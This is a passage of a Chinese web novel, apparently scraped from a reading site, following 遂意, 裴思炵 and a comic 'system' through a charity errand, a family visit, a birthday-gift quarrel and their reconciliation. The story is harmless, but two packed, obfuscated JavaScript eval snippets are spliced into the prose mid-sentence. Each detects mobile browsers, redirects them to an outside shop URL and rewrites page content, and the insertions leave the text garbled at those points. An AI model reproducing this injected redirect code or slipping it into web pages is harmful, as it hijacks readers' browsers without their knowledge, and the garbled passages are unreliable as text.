“打住，别骂了。” “啊？”遂意懵懵地抬头看裴思炵。 她试图解释：“我怎么会骂你……” 她刚刚有说话吗？不对吧。 明明就算是无意识的都不可能，她敢打包票，她说梦话都在夸裴思炵。 “我是说别再说你自己了。你感觉得很对，我确实没想过要怎么处理这些黄油饼干。我说出门就知道了，是因为你，你本来就知道要怎么做。只是因为不想跟人接触就下意识地认为自己做不到这些，所以就连解决方案都不想提出来吗？遂意，你有没有发现你在社区中心徘徊了好几次。” “啊……”遂意被这些话钉在原地，茫然又无措地看着裴思炵，什么都说不出来。 “遂意，我不知道，我不知道你想改变吗？我做了许多尝试，你都默认了，我以为你会想改变的。是这样吗？还是我们可以……”裴思炵蹙眉，强势过后语气又弱了下来，眼见着就要自伤起来。 “我知道，我知道该怎么做，我们去找社区工作人员吧。”遂意醒神，一把拉住裴思炵向前冲。 痛苦与纠结，不应该出现在裴思炵身上。裴思炵没有太多的想法，身上出现的情绪多半是她带来的。 她是一只在他身边弹来弹去的彩色小球，时不时能将颜色蹭在裴思炵这颗纯白小球上，她不该将他染得乱七八糟的。 系统：……到头来还是这个死绿茶最有用吗？（露出了业绩垫底的微笑.JPG） 拉裴思炵跑的时候遂意是少年意气上了，等见了工作人员她就萎了。 遂意悄悄扣了扣裴思炵的手臂，还抬眼去偷看他，眼睛里铺满几个大字“帮帮忙”。 裴思炵叹了口气。 “您好，我们是要做社会实践活动的学生，我们想请你们代我们将一些食物分发给附近的流浪汉……” 等走完手续，移交完黄油饼干，已经是傍晚了。 “对不起哦，裴思炵。” 裴思炵垂下眼盯她，她表情有些忸怩，不知道是在为自己的临阵脱逃感到抱歉，还是又在觉得麻烦他了…… “到这里你都没怎么好好吃过一顿饭。”遂意边说边从包里掏出来一个食盒，再拉裴思炵到海边的长椅坐下。 “明天要出发去尼亚可布了，我做了饺子，”她有些遗憾地看着海面上已经快要消退的落日余晖，“如果时间再早一点，吃完饺子我们就可以一起看落日了。” 裴思炵有点无法描述自己的心情，说是震惊，其实又在情理之中，说是欢喜，其实那一刹那他发觉自己的眼眶热了。 该怎么办呢，遂意。我一点都不想推开我的世界了，那些冠冕堂皇的话都是假的，其实我想要一直看着你的日月轮新，四季更替。 该怎么办才好，该怎么办才好…… 裴思炵想不出来，所以就只好遵从本心，紧紧地抱住遂意。 遂意一愣，再开心地回抱他：“辛苦啦，陪我一起拯救世界的超人裴思炵。” 裴思炵不吭声，头在她的肩颈处越埋越深。 * 尼亚可布离圣第劳伦斯不算远，走高速大概两个小时，所以裴思炵只收拾了一些要随身带的东西，没退酒店，仅仅安排了不足一天的时间。 “宝贝——好久不见。”裴思炵的妈妈徐慧衔风风火火地飞出来，一把拥住遂意。 “慧慧阿姨好久不见，我们都好想你啊。” 徐慧衔抬眼，看着离遂意一步远，表情冷淡的裴思炵，心里对“们”这个字存疑。 她松开遂意，笑着问：“怎么想到来这玩了呢，也不知道来找我和你裴叔叔。” 遂意没管这套没什么营养的寒暄，拉着徐慧衔的手搭在裴思炵的肩上：“轮到裴思炵了慧慧阿姨。” 徐慧衔喉咙紧了紧，神情不自在地瞟了两眼裴思炵。见他还是站桩似的杵在那，便尴 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她拿着那些玩具和课题在裴思炵面前摇了又摇，而她的儿子只是淡淡地移开视线。 她做那个关于是否要成为母亲的决定太匆忙了，大家都在劝她已经是时候了，可她直到现在都不知道该怎么成为一个母亲呢。 遂意捅了捅裴思炵的腰，裴思炵斜眼看她。 这个人自从和黄油饼干机器人交锋过后就对“谎言”的容忍度高了许多，这是他和系统都没预料到的。 “我，我们很高兴您能一直对自己的事业保有激情。”裴思炵还是说了。 “真的吗？谢谢，我再带你们去看看你爸爸现在进行的工作吧。”徐慧衔高兴地一手牵一个，准备带他们一起走。 裴思炵轻飘飘地瞥了眼遂意，遂意脑袋一缩，冲他讨好地笑笑。 “慧慧阿姨，这个点裴叔叔估计正要吃午饭呢，要不我们迟些再去找他？” “哦！哦哦，要吃午饭了。来来来，我们到研究室附近的餐厅去，边吃边聊。对了，你们安排住处了吗？如果没……” “圣第劳伦斯的酒店我们还没退。”裴思炵抢先开口，以免那个学会了撒谎的小骗子说出些会打乱他们计划的话。 “这样啊……”徐慧衔的情绪又回落了。 “期末周快到了，我们得赶回去复习呢。等有空了我们再来找慧慧阿姨玩吧！”遂意赶紧出声安抚徐慧衔的情绪。 因为一直以来都待在太纯净的地方，又被许多人保护着，徐慧衔直到现在都保持着小孩心性。 她又高兴了起来：“好啊好啊，一定要多来找我玩哦。那我们快去吃饭吧，不然等会儿时间不够参观你裴叔叔的研究室了。” 裴思炵落后一步，看着她又和遂意谈起研究室的工作。 她其实也对成为母亲这件事不感兴趣吧。 但她被逼无奈，还是让这件事发生了。这不怪她，她已经尽力了。 可裴思炵不知道该怎么和她说，不用再投注过多的精力在他身上了。过去那么多年，浪费了她最年轻最宝贵的工作时间，他很抱歉。 9. 被阴了？ 在酒店歇了一天，久违地又体验到了无所事事的滋味，但遂意显然没想到这是试用装——她该动身回国准备期末考了。 期末周，需要一腔孤勇来战胜。 但遂意并非孤勇者，她正在蛄蛹着。 “不要不要，不去图书馆行不行啊，在家学也是一样的。” “可以是可以，但近代史课的期末大作业还差一次组内讨论。” “啊？啊——马院！”遂意咬牙切齿地念那两个字。 那能怎么办，遂意偶遇组内讨论，马院强如怪物，拼尽全力也无法战胜①，遂只能乖乖出发去学校。 “怎么会这样，怎么会这样……”遂意走在去学校图书馆的路上，魂不守舍地念叨着。 “等会儿你做汇总就好，不用担心。这个作业我完成的部分超过三分之二，他们不会说什么的。” “哦。”遂意蔫巴巴地拽住裴思炵手链上的三色堇，低垂着脑袋，开启自动跟随。 怎么办哦，没有裴思炵怎么行呢。 可是，为了拯救世界，她竟然没空为他准备更多的生日礼物，他会难过吗？ 果然呢，是和马院一样讨厌的系统。 无人知晓的地方，一阵寒冷的数据流侵袭过系统的核心代码，系统起了一阵类似于“打喷嚏”的反应。 系统：？谁？谁在害朕！ 赶紧去看看我的宿主。 哦—— 在骂我啊……啊？！ 系统眉毛一竖，盯着遂意会议记录本上仅有的几个字“和系统一样讨厌的马院”。 除此之外，会议记录本上只能找到几个被戳出来的洞。 估计是在扎我的小统，系统无不凄凉地想。 【好你个遂意！会议上开小差就算了，态度还这么不端正。】 没想到黄油饼干任务结束后就隐身的系统会突然出现，遂意被吓了一跳。 但她显然是摸鱼的老手了，这样的情绪波动也只是让她模仿写字的手加速了一丁点。 “！”，纸上又新增了东西。 【哼，还好意思打感叹号。你应该画个跪求原谅的小人！】 【好你个系统，你竟敢剽窃我们的小组讨论内容，这是对知识产权的不尊重！】遂意抓住了系统的小辫子，反将一军。 【什么？！遂意你什么时候背着我偷偷做了丰脸，你也好意思说这是讨论内容？上面就一句话！】 遂意老神在在地回：【言有尽而意无穷。②】 【哈，那你说说看里面有什么意。】系统刁难道。 要是敢说它一句坏话，那遂意就等着脑袋叮咚响吧！ 接着，遂意竟然还真能就他们的期末选题做一番言之有物的论述。 【不、不是，你不是在玩呢吗？】 险些忘记她人族天才的身份了（汗.JPG）。 【不是啊，我在思考今年要给裴思炵做什么样的蛋糕。我想做千层拼盘，但目前只想到了三个口味。】 【哦哦，误会你了。】 果然，这么一打岔，就忘了要质问的事了，是一次性只能注意到一件事的草履虫啊。 遂意偷笑。 被裴思炵看见了。 又在跟系统聊天么？ “好，那么接下来就让遂意做会议总结吧。” 遂意见点到了自己，连忙端正坐好，一本正经地对着只有一句话和一个符号的记录本念道：“今天我们小组讨论的……” “那后续就辛苦遂同学将会议记录整理成文档交给许同学了。”裴思炵官方地说道。 “不辛苦，应该的。” 刚刚大气不敢出的系统惊呼道：【哇，他居然阴你！】 【嗯？谁？谁阴我了？】遂意幅度很小地转动眼珠，还借着收拾东西的动作帮自己拓展视野，谨慎极了。 惊！难不成拯救世界还得打倒反派？ 【你眼前这位啊！裴思炵啊！】系统急得团团转，这遂意该聪明的时候怎么就这么迟钝呢？ 系统说话的瞬间，遂意刚好和裴思炵对视上了。 遂意冲他笑：【裴思炵，系统在叫你。】 裴思炵凉凉的目光投过来，吓得三人频道里的系统不敢吱声。 系统：我屏蔽词的，怎么还带卖队友的呢？！ 然而裴思炵却只是想：比对系统笑得灿烂 得益于系统的自作多情，这一路上都没有它的吵闹声。遂意能好好琢磨琢磨裴思炵生日蛋糕的口味，实在难以下决定了她就问：“裴思炵，今年的生日蛋糕你想要什么口味的？” 裴思炵停顿了一下表示自己有在思考，然后果断道：“都行。” “好吧，那我知道该怎么做了。” 【所以你知道的‘怎么做’是现在就做？】裴思炵不在了，系统便又冒头。 【嗯，因为想到的口味有点多，所以就从现在开始，每天给他做一块吧。】遂意兼顾着煎千层皮回道。 系统酸溜溜道：【刚刚不还只想到三种吗？】 【刚刚是刚刚嘛。】遂意打了个哈哈。 【哦！刚刚还没说完呢，裴思炵他阴你，你不生气？】 【嗯？哪里有。】太久没做千层，遂意有点掌控不好火候，调了好几次温度，不过幸好还是做出了一张完美的千层皮。 见遂意一心扑在千层皮上，系统有些不高兴了。 ——和闺蜜吐槽闺蜜男友时发现她正在给男友做礼物belike。（bushi 【就是他发现你走神然后点你来做总结啊。】系统不服气道。 【啊？我本来就是做总结的啊。而且，走神归走神，我能听到他们在说什么啊。】 系统：抱歉哈，又忘了你这个小天才的记忆力堪比存储器写入了（倒立微笑.JPG） 虽然被说服了，但为了维护自己的正确性系统还是胡搅蛮缠了一下：【可他就是趁你走神点你的啊。】 【啊……有没有可能，我一整场都在走神？而且流程到了就该点我了啊，那段总结的模板裴思炵还陪我练过呢。】 系统：啥也不说了，尊重祝福 “叮咚——” “裴思炵我进来啦。”遂意朝可视门铃说了句就开门进去了。 “还在洗澡吗？”遂意探头探脑，把一角蛋糕放在冰箱里，再随意地坐在沙发上开始选电影。 【这个点洗什么澡？他确定是在家的吗？】 【他从外面回来就会冲一次澡 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它的宿主…… 其实一直都不想改变的吧，毕竟总会有人迁就她。 就这样生活着，也是可以的嘛。 所以它就去找裴思炵……诶？找不到？他还真就在洗澡？ 不是吧，遂意做蛋糕都做这么久了，此男洗澡如此精致吗？ 非也非也，此男是因为想着反正从外面回来都脏了，那就换套衣服顺手把洗手间刷了吧，于是到现在才洗完澡。 是的，裴思炵就是那种绝不会让家政阿姨踏足自己卧室和洗手间的人——同理，遂意家的卧室和洗手间也是裴思炵在收拾。 “欸，出来啦。今天是有做身体护理吗，洗了这么久。”因为在北方待过一段时间，所以遂意就默认冲凉和洗澡是不一样的。 裴思炵擦着头发摇头：“没有，是收拾了一下洗手间。怎么这个点就过来了，是饿了吗？” “不是啊，饿了我肯定会自己找吃的。是我刚刚做了一块蛋糕，想拿过来给你当下午茶。我算好了，从今天起每天带一块给你，刚好凑够八块，是一个整的蛋糕。怎么样？这样就不用纠结口味啦。”遂意去取冰箱里的蛋糕。 “铛铛，巧克力榛果口味。” “只做一角会不会有点麻烦？”裴思炵见过她摊千层皮，圆圆薄薄的一片，切开也会有一点不好掌控吧。 “不会啊，熟练的话，做起来很快的。” “油烟对身体不好，要做千层皮的话还是让我来吧。” “那还有什么惊喜可言，不要！而且我用的是电磁炉灶台！” “只要有食物油被高温分解就会产……”裴思炵还是不想退让，柔声劝道。 被遂意打断了：“啊——好裴思炵，就让我做吧，求求你了求求你了，好不好？” 裴思炵说不出话了，只能无奈地看着她。 见裴思炵妥协，遂意开开心心地拉着他到电视前的沙发那坐好：“开心一点开心一点吧，我都挑好电影了，是我之前看过的。你这里有4k修复诶，肯定会更好看的。” 遂意海豹式鼓掌。 10. 生日礼物 【你干嘛那么焦虑呢？】系统就不明白了，不就过个生日，有什么好担心的。 遂意抠着手柄，屏幕上的小人被控制着走来走去，而控制小人的人正在神游天外。 【hello，还在吗？】系统忍不住敲敲她。 【啊？嗯。】遂意回了一点神，但显然没回完。 【你再这么焦虑，就算裴思炵的生日礼物是登上总统之位他也不会开心的。】系统撇撇嘴。 遂意皱眉，咬了咬自己的指节：【可是，他会失落的吧。想要在首都租一块地种花太难了，我办不到……】 系统话音暴躁：【他就那么喜欢三色堇？非得亲手种给他不可？我说你们往年怎么过生日的，年年这么折腾吗？我看他裴思炵也不见得是多爱过生日的人啊。】 系统（咬牙切齿）：这个恃宠而骄的歹人！ 【正是他不爱过才更要花心思啊……】遂意失落地把脸埋到臂弯里。 系统：还不爱过？！不识好歹╰(‵□′)╯ 看我不去整治整治他—— 【喂！】你讨厌的系统突然出现（滑铲）。 裴思炵手一顿，拧眉，但破天荒地温和问道：【请问有什么事么？】 【哼，现在装乖迟了，你胡搅蛮缠的行为已经毋庸置疑了！】系统义正辞严地呵斥道。 裴思炵放下工具，耐心地问：【又怎么了呢？】 【别装傻！我说你这个人真是太苛刻了，遂意那么用心地给你准备礼物，你怎么能不喜欢呢？】 这下裴思炵的眼睛里才带了真切的困惑：【你说什么？】 【什么什么……】系统见这人还要装傻更不耐烦，刚想开骂就被裴思炵打断了。 【你说什么？】裴思炵语气又重了一点，隐隐就见他要发起怒来。 系统（花容失色）：情绪、情绪好不稳定的人类！ 【她她、她，你、你，礼物，不、不喜……欢？】系统见他脸色越来越难看，连忙将话拐个弯，变成问句。 裴思炵略一思索，脸上就像下着雨夹雪似的质问系统：【是你？】 【啊？啊？不敢不敢，可不敢啊。】系统狂摆手。 它就不是那种爱挑事的统。 【那她怎么会这么想，不是你在引导，她为什么会突然这么想？！】 【不是不是、啊！是花是花，她说首都种不了花，你会难过。是首都是花，反正不是我！】系统抱头鼠窜，连连甩锅。 裴思炵用鼻息发出一声轻嗤。 这小系统，见他这两天处处让着它，越来越无法无天了。正好现在借题发挥惩治惩治，不然过两天该开太空船才能找着它了。 不过会为他的生日礼物焦虑，遂意倒是头一次，她永远都是兴高采烈、志得意满地进行她天马行空的创作的。 是因为最近太多事，情绪起伏太大吗…… 裴思炵凝眉。 * “啊！随舞星动的手办，还有乐π佳的联名款积木！裴思炵你怎么买到的？哇——我记得是只发售一次的。”遂意眼睛亮晶晶地抱着它们转圈。 “裴思炵裴思炵裴思炵。”她抱着她的宝贝，还不忘时不时去蹭一蹭裴思炵，开心了就要不停地念裴思炵的名字。 裴思炵拍拍她的脑袋，取下她怀里的东西，放好，再转头说：“我烤了司康，你不是说如果是柠檬味的话，夏天吃会很清爽吗？我试着做做，成功了。” 遂意听到这脑袋不着痕迹的低了一点，只抬眼偷看裴思炵——一般这种情况都是出现在她做错事的时候。 可她冤枉啊，她在家待得好好的，根本什么坏事也没干。哦，当然了，通宵补番不算，沉迷游戏不复习不算，那、那找了个辩题和AI不知不觉吵到凌晨也不能算…… 总之都不算的话，她根本就没干坏事！ 裴思炵为什么要来找她谈话，他知道了？ 不不不，他怎么可能知道。他又没有千里眼，顺风…… ！ 【系——统——是你！】遂意哀愤又不可置信地指出了那个既有千里眼又有顺风耳的罪魁祸首，悲痛程度不亚于凯撒临死前发现布鲁图斯也举起了匕首。 【不！不是你想的那样啊——】系统尔康手。 系统以为她说的是裴思炵要说的生日礼物事件，而遂意的猜测和生日礼物毫无关系，殊不知裴思炵要说的正是生日礼物事件。 所以，系统也不算冤枉。 它正正如裴思炵所言“随意介入别人的感情只会把事情弄得一团糟”。 现在它试图像理毛线团一样梳理这件事：【虽然他因为这件事来找你了，但这不一定就是坏……】 遂意不听了，因为裴思炵说话了。 “你最近是不是不开心？” 遂意喝奶茶的动作一顿，又偷偷抬眼瞄裴思炵：“唔，怎么说？” “系统说的。” 系统：啊？又我？！ “我没有不开心啊。”遂意抱着茶杯低头喝奶茶，语气有点虚。 她看着描金边浮雕茶杯里的浅棕色液体，也就是裴思炵了，无视水温、冲泡技艺，用这死贵死贵的茶叶给她做奶茶，再放到这死贵死贵的茶杯里。 有谁再会在准备和她谈话之前先送上她喜欢的礼物，再烤上甜点，做好奶茶，希望她不要因为这场必要的名为关心的谈话而不开心呢？ 不会了，没有别人了。 没有人知道她脆弱到连关心都无法承接。 只有裴思炵，只有裴思炵怕那种正常的情感交流会伤害到不正常的她。 “你很讨厌系统发布的任务吗？”裴思炵显然没信她说的。 “啊……也不算是？毕竟是答应好的。” 裴思炵了然：“那就是因为我了。” “啊、啊？”遂意瞪大眼，急忙去看裴思炵的表情，见他没在难过才松了口气。 “怎么能这么说呢？我如果不开心，那也不会是因为你啊。”遂意的食指放在茶杯的口沿处来回移动，垂着眼轻轻地说。 如果裴思炵因为要和她做朋友就得随时注意她的情绪、照顾她的心情、生怕她不开心的话，那她不会再允许自己以这种方式伤害别人的。 “你是不是又不想和我做朋友了。”裴思炵看着她低垂的脑袋，又敏锐地感知到了这一点。 可没有反驳了。 遂意以前哪怕是极为心虚的，虚张声势的，也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674492|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大喊着“不是这样的”。 但她现在只是抿着唇。 裴思炵呼吸都轻了，他终于感到害怕了。 哪怕是那个被系统打搅的夜晚，被它用遂意的性命恐吓，他也是下意识地在思考解决方案，在找漏洞抓把柄。 在……愤怒。 他当时，竟然产生了情绪…… 裴思炵像被惊醒似的这样想。 裴思炵没有太多的情绪，也没有太多的想法，所以他才能陪伴在遂意身边。 因为遂意害怕自己伤害到别人。她知道自己没办法伤害到裴思炵，所以就连裴思炵不会为她所动容她也愿意围在他身边。 如果好的和坏的都无法接收，那她就给更多更多好的，全都堆到他身边，任性地想以此抵消那些不小心伤害到他的时刻。 可他好像能接收了，不知道从什么时候开始，他对情绪的感知越来越敏锐了。而她又没能及时给他更好的，也无法再说服自己裴思炵无法被伤害。 他会被伤害的，他难过起来心脏肯定也抽疼抽疼的，怎么办啊，这样怎么办啊，太可怜了。 遂意越想越难过。 裴思炵比她更难过，他蹲到遂意的腿边，按着她的膝盖，抬头看她：“我再也不说了，好不好？” 裴思炵见她不说话，又摇摇她的腿，哽咽道：“好不好？” 而比应答先一步的是遂意的眼泪，它重重地砸在裴思炵的手背上。 裴思炵像被烫到一样，下意识手一颤，松开了她。然后再迎上去，摸她的脸，微微用力将脸抬起，直视着她的眼睛：“遂意，如果你伤害我会比我自己更难过的话，那就请不要再这么做。” 遂意终于哭出声：“我不想这样的，可是我、我会搞砸一切的。花，首都遍地都是金子，开不了我的花。可是、可是拯救世界，要拯救世界才能去种花，不然花会被黄油饼干淹没吗？我不知道。我、我答应了，我就是烂好心，就是坏，我没有给你种花了……你、你的生日本来应该开开心心的，可是你要哄我，你整天都要哄我、迁就我。裴思炵，你是不是也很讨厌……” 裴思炵一把捂住遂意的嘴，急得跪在她双腿｜间，但遂意情绪上来了可管不了这些。 她扒开裴思炵的手：“我告诉你，这就是精神病。如果有谁因为觉得不能送你一个很好的礼物就大哭，我一定会让你离他远远的。可为什么我就得是例外呢？我和所有人都是一样的，所以我也想你离我远远的。裴思炵，你明白吗？我不正常。” “我也不正常，”裴思炵拉着遂意的手，慢慢放到自己的心口，“你听，它跳得很平缓。除了剧烈运动等不可抗力外几乎没有任何情绪能让它失常，愤怒、失落、喜悦，一点都侵扰不了它，它会跳得好好的，就像我。我还是那个裴思炵，你为什么不愿意和我做好朋友了呢？” 系统茫然又无措地看着这一切：天爷，这是怎么了？ 谁还记得最初是什么情况？ 说实话，它连裴思炵为什么要来找遂意都不是很清楚，之后就更不明白了，怎么又“开不开心”的，又“朋不朋友”的。 让它系统来当她们的好朋友好了，它既不要生日礼物又整天很开心，根本好伺候得很呐。 11. 我请问呢 【所以呢所以呢，最后的结果是什么？】系统看了一场自己完全不能明白的大戏，急着找遂意要一个说法。 遂意蜷缩着窝在沙发上，恹恹地说：【哪有那么多结果，人与人之间根本就没有结果。就像雨落下来，变成海，又回到天上当云，再又落下来，中间的界限是很模糊的，有时既是这样又是那样，单单一个结果是不可能说明一切的。】 【啊？啊？搞什么，所以你们现在是既是又是的情况吗？】系统搞不懂，平常遂意话这么少，怎么今天难得又愿意跟它说话了。 因为她也很不懂，不懂的时候她才想要说很多，像在求证，也像在自诘。人在慌乱的时候就很容易喋喋不休的，仿佛说得越多，安全感就越足。 【可以是既是又是，也可以都不是。一滴水可以是雨也可以是海，还可以都不是。万一它凝成冰了呢？】 系统不知道这些雨、海、冰什么的跟她和裴思炵的关系有什么关联，但还是尽力用自己的理解来开导她：【冰也可以化成水啊，然后又回去当云，到最后也是要落下来成雨的。】 遂意明显被说动了，但她还是嗫嚅道：【但也许我是错的，人的关系只是动态变化，这并不意味着可以循环。】 【不能循环？哦！你是说不能完好如初？那就是不可逆转嘛，是不是就是那个破镜重圆？但镜子碎了总可以拼起来，就算有裂纹，可以美缝的嘛。】系统又从数据群里淘来一个词，美滋滋地自圆其说。 系统（自得）：我真是个小天才 谁知遂意“噌”地一下站起来，生气地说：【我们根本就没裂开！】 系统不懂她生气的点，开心地回她：【那岂不是正好，你们还是好好的一块镜子。】 遂意突然感到一阵无力，她跟这个也不懂人类的系统说什么，她脑袋清醒的话就应该去找裴思炵，可裴思炵就知道吗？ 什么是对的，什么是错的，谁会知道。 也许……就没有对与错。 就像她自己说的，这是一块没有裂开的镜子。他们并没有矛盾，只要她还愿意装傻，愿意去忽略，在裴思炵身边保持所谓的“钝感力”，那他们还是好好的。 可是她怕，怕裴思炵会受到伤害。所以就用这种决绝的方式来一次性清算这样的伤害—— 可也还是伤害。 如果她足够勇敢，就应该去面对那样一个不确定会不会伤害到裴思炵的未来，努力减轻对他的伤害，也好过走这条一定会重重伤害他的路。 明明他都已经那么难过了…… “叮咚——” “裴思炵我进来啰？”遂意在裴思炵家门前徘徊了两步，还是一鼓作气开门进去了。 “裴……”遂意进门，入目就是裴思炵的阳台。她被阳台上的东西震惊得说不出话来，就这样定定地站在那，直到周围的一切都失真，只剩裴思炵。 裴思炵挽着袖子，躬着腰，也抬头看她，静静的、深远的目光纠缠着她。 风一吹，一地的三色堇也像是在看着她。 原来是这样，原来还能这样，明明他们有那么多的路走，根本就用不着去那条极端又痛苦的路挣扎。 首都能开好多花，没有地裴思炵也能辟出一块来给她。 遂意跑过去紧紧地抱住裴思炵，头埋在裴思炵的怀里，大声宣告：“再也不会离开你！” 裴思炵愣住，他粘着泥的手无所适从地举着，思绪太多，他抓不住，就只能呆呆地解释自己为什么没去开门：“我以为是送花上来的工人。” “我就是来送花的。”遂意掏了掏，从胸口摸出了枝她挂在脖子上的瓷制三色堇。 裴思炵想接，但手是脏的，就乖乖低头等遂意给他戴。 遂意小小地叹了口气：“又提前送出一件。” 其实这本来不是给裴思炵的，这是她烧坏的次品，本来只是用来留作纪念的。但她觉得送的东西不够有新意，只能用量来取胜，就也一并给了他。 “遂意。”裴思炵低头看着遂意的眼睛。 “嗯？”遂意也怔怔地望着他的眼睛，她终于明白那句诗“我感到宇宙正在流动，在你的眼睛和我之间”①。 “我没有喜好，所以你不用担心你送的礼物是我不喜欢的。只要是好朋友送的，无论是什么我都会开心的。对不起，正是因为我没有喜好，所以每年你都要多花心思。但如果这会让你焦虑，那世界上最好的礼物也不能弥补。” 裴思炵没法拍拍她的脑袋了，只能用额头碰上遂意，轻轻蹭着，再一次确认，他的好朋友就在眼前。 “我再也不会了。”遂意小声承诺道。 然后她又更小声地犹豫着问道：“我们还是好朋友吗？” 裴思炵笑：“当然。冰箱冻有布丁，你自己去拿，我先去收拾一下。” “嗯嗯。”遂意轻快地飘去找布丁吃。 【这就结束啦？】系统咂巴着嘴，不懂他们在燃什么，明明才过去没够一个下午。 【哼哼。】遂意咬着小银勺欢快地应着。 她打了会儿游戏，便歪倒在沙发上。 准备了甜点，那就是还要谈，不知道这次要说什么呢？ 啊—— 不管啦。 遂意彻底瘫倒在沙发上，睡着了。看起来比忙活了大半个下午的裴思炵还倦怠。 裴思炵从浴室出来，看到的就是睡得四仰八叉的遂意。他抽走遂意放在身旁的手柄，防止她翻身时不小心压到，然后就到单人沙发上坐着看书了。 他给送花的工人发信息说不用摁门铃了，就让花先待在那。反正他们这是一梯两户，一整层都是他们的，也妨碍不到别人。 遂意这一睡，就睡到了傍晚。 “裴思炵？”遂意迷迷糊糊地摸起来，第一眼看到的就是裴思炵。 “嗯？”裴思炵抬头看她。 “怎么不开灯？” “现在就开。” “不开灯看书要坏眼睛。” “天才刚黑下来。” “吃饭没有。” “还没，想吃什么？” “在家吃有点晚了，去胡禾吧。” “好，我打电话订餐。还点他们的小炒笋丝吗？” “嗯，蔬菜再加一道翠柳啼红吧。” “好，要换身衣服吗？” “不用了，我洗把脸就能出发。”遂意彻底清醒了，慢吞吞地去洗手间洗脸。 今天太阳好，她在裴思炵家的那块洗脸巾刚晒过，上面还有淡淡的香味，不知道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674493|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗涤剂的味道还是裴思炵又拿香氛熏过。 就在这么平淡的夜晚，遂意又想哭了。 她不知道今天裴思炵晒洗脸巾的时候在想什么。一个不知道还能不能重修旧好的朋友，晒她的洗脸巾做什么呢？ 还有这个洗手间，这个洗手间是只有她在用的，裴思炵一直以来都只用自己卧室里的洗手间。 漱口杯、牙刷、洗面奶、精油、身体乳一件件摆在这，裴思炵路过的时候会在想什么呢？ 拿书时不可避免地看到她放在书架上的手办又会想些什么呢？ 又逢周六，是季姨来她家做饭，如果她不来找他，那他的晚饭又会怎么解决呢？ 如果他不来她家吃饭，那吃饭的时候，他究竟会想什么呢？ 遂意手撑在洗手台边，垂着脑袋，任由眼泪大滴大滴地砸在洗手池里，顺着水流一起被冲走。 不，他不会吃晚饭。 遂意突然又想。 这个人会因为摸不准自己什么时候醒，就先取消掉晚饭这件事，那没得到自己准确答复的他，又怎么可能吃得下饭呢？ 遂意想着想着就气笑了。 伤害自己的身体，裴思炵应该也能在这方面捧回一座奖杯。 看着遂意又哭又笑的系统内心belike：又怎么了我的大小姐？② 等到坐上车去吃饭的路上，遂意的心情还是没平复下来，对比以往就显得有些臭脸。 裴思炵开着车不敢问，怕听到什么不好的消息控制不住，只能飞速地瞟了遂意几眼。 脸色越来越便秘——系统的视角来看。 遂意皱眉：“好好开车。” “嗯。”裴思炵正色。 过会儿没忍住，又暴露本性，他轻轻地听着有点委屈地问：“没睡够么？” “没有。” 裴思炵脸色更难看了，他抿唇，直到车停稳，他才颤着声问：“你生气了么？” “嗯。”遂意双臂交叉环抱胸口。 裴思炵握紧方向盘，眼眶里含着泪，转头瞧遂意，小意问道：“怎么了呢？” 遂意略带凶狠地看他：“你不好好吃饭！” 裴思炵松了口气，又套用之前说的：“天才刚黑下来。” “借口。” 裴思炵摇摇头：“有你在，我不会不好好吃饭的。” 遂意更凶了：“我不会一直……”在的。 然后她就看到裴思炵越来越可怜的眼神，说不出口了。 “哼。”遂意不敢承认自己心软了，别扭地转过头。 裴思炵轻轻地拉她的衣袖：“走吧，走吧。饿了吧？” 遂意肩一抖，开门下车，径自往前走，甩开裴思炵……半步之多。 裴思炵抿唇浅笑。 真好，还是心疼我呢。 裴思炵开心了系统就很难开心了。它本来前两天跟裴思炵说要不别做任务了，被裴思炵好一阵挽留，还凭借这个作威作福了两天。 谁知这俩马上闹起来了，它还被牵连了。 等和好了又说什么“我承受不住变化带来的隐患，任务确实可以不做了”。 合着这俩做局整我呢？！ 系统无语望天。 我请问呢？ 12. 在过生日 【嗯？你怎么在订机票？】晨起系统就见这个懒鬼在忙来忙去。 彻底放弃期末周了不成？期末周不复习还想着满世界跑。 啧啧，订的还是两张票。说好的看裴思炵的绩点比看自己的任务还重呢？ 【要过生日啊。】遂意轻快地哼着小曲，抱着一个被蒙住的相框欢乐地转圈。 系统拧眉：【怎的还要飞国外，他裴思炵就那么难伺候？】 系统在裴思炵那受挫了，近来提起他语气就没好得了。 【哇，什么伺候不伺候的，你说话真难听。】 【哼。】系统冷哼一声后就消失了，完全是因为没眼看。 遂意不管它，美滋滋地去找裴思炵。 “惊喜惊喜是惊喜！”遂意绕着裴思炵蹦蹦跳跳，还把相框放到裴思炵怀里。 “给你，下飞机后就能揭开啦。” “要不要我订酒店？”裴思炵安分地端着相框，看起来一点都没有揭开的意思。 “都说了是惊喜，让你知道在哪块地那还惊喜得了吗？酒店我早订好啦！” 哼哼，其实不止是酒店，还有个秘密惊喜。 遂意得意地晃晃脑袋，准备开门出去。刚迈出一步，她又猛地转身盯着裴思炵：“别让我知道你打开了它，我在盯着你！” 她做了个“Iamwatchingyou”的手势，逗笑了裴思炵。 “好，我不看。” “哼哼，别想耍赖，我会知道的。” “嗯，我乖乖的。” 遂意一步三回头，最后还要扒着自己的门框不放心地叮嘱道：“要乖哦。” 裴思炵笑眯了眼，用力地点点头。 遂意放心了，继续回去拾捡自己要带的东西。这些都是不能被裴思炵知道的，所以她这次坚定地拒绝了裴思炵要帮她收拾东西的请求。 